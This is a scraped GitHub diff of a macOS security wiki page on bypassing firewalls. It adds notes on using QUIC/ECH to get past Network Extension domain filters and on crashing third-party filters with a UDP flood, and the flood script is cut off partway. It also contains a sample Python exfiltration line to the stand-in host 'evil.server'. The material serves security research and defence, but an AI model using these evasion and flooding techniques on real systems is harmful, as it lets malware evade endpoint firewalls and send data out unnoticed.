You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
+37Lines changed: 37 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -121,6 +121,41 @@ s = socket.create_connection(("evil.server", 443))
121
121
s.send(b"exfil...")
122
122
```
123
123
124
+
### QUIC/ECH to evade Network Extension domain filters (macOS 12+)
125
+
NEFilter Packet/Data Providers key off the TLS ClientHello SNI/ALPN. With **HTTP/3 over QUIC (UDP/443)** and **Encrypted Client Hello (ECH)** the SNI stays encrypted, NetExt cannot parse the flow, and hostname rules often fail-open, letting malware reach blocked domains without touching DNS.
Early 15.0/15.1 builds crash third‑party **Network Extension** filters (LuLu, Little Snitch, Defender, SentinelOne, etc.). When the filter restarts macOS drops its flow rules and many products fail‑open. Flooding the filter with thousands of short UDP flows (or forcing QUIC/ECH) can repeatedly trigger the crash and leave a window for C2/exfil while the GUI still claims the firewall is running.
144
+
145
+
Quick reproduction (safe lab box):
146
+
147
+
```bash
148
+
# create many short UDP flows to exhaust NE filter queues
149
+
python3 - <<'PY'
150
+
import socket, os
151
+
for i in range(5000):
152
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
0 commit comments